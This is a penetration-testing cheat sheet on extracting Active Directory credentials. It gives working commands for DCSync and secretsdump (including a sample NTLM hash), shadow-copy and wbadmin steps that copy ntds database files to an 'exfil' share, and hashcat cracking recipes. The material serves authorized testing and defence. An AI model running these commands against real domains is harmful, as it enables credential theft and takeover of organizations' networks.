PenTest – Active Directory – NTDS Dumping
|You will need the following files to extract the ntds : – NTDS.dit file – SYSTEM hive (C:\Windows\System32\SYSTEM
)
Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit
and systemroot\System32\ntds.dit
. – systemroot\NTDS\ntds.dit
stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data). – systemroot\System32\ntds.dit
is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.
However you can change the location to a custom one, you will need to query the registry to get the current location.
DCSync Attack
DCSync is a technique used by attackers to obtain sensitive information, including password hashes, from a domain controller in an Active Directory environment. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.
- DCSync only one user
- DCSync all users of the domain
OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync from a user account can raise alerts.
Volume Shadow Copy
The VSS is a Windows service that allows users to create snapshots or backups of their data at a specific point in time. Attackers can abuse this service to access and copy sensitive data, even if it is currently being used or locked by another process.
Extract hashes from ntds.dit
then you need to use secretsdump to extract the hashes, use the LOCAL
options to use it on a retrieved ntds.dit
secretsdump also works remotely
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
-pwd-last-set
: Shows pwdLastSet attribute for each NTDS.DIT account.-user-status
: Display whether or not the user is disabled.
Extract hashes from adamntds.dit
In AD LDS stores the data inside a dit file located at C:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit
.
- Dump adamntds.dit with Shadow copy using
vssadmin.exe
vssadmin.exe create shadow /For=C: cp "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Program files\Microsoft ADAM\instance1\data\adamntds.dit" \\exfil\data\adamntds.dit
- Dump adamntds.dit with Windows Server Backup using
wbadmin.exe
wbadmin.exe start backup -backupTarget:e: -vssCopy -include:"C:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit" wbadmin.exe start recovery -version:08/04/2023-12:59 -items:"c:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit" -itemType:File -recoveryTarget:C:\Users\Administrator\Desktop\ -backupTarget:e:
- Extract hashes with synacktiv/ntdissector
ntdissector path/to/adamntds.dit python ntdissector/tools/user_to_secretsdump.py path/to/output/*.json
Crack NTLM hashes with hashcat
Useful when you want to have the clear text password or when you need to make stats about weak passwords.
Recommended wordlists: – Rockyou.txt – Have I Been Pwned founds – Weakpass.com – Read More at Methodology and Resources/Hash Cracking.md
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane"
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2
# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
If the password is not a confidential data (challenges/ctf), you can use online « cracker » like : – hashmob.net – crackstation.net – hashes.com
NTDS Reversible Encryption
UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED
(0x00000080), if this bit is set, the password for this user stored encrypted in the directory – but in a reversible form.
The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin. This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.
- List users with « Store passwords using reversible encryption » enabled
The password retrieval is already handled by SecureAuthCorp/secretsdump.py and mimikatz, it will be displayed as CLEARTEXT.
Extract hashes from memory
Dumps credential data in an Active Directory domain when run on a Domain Controller.
Requires administrator access with debug privilege or NT-AUTHORITY\SYSTEM account.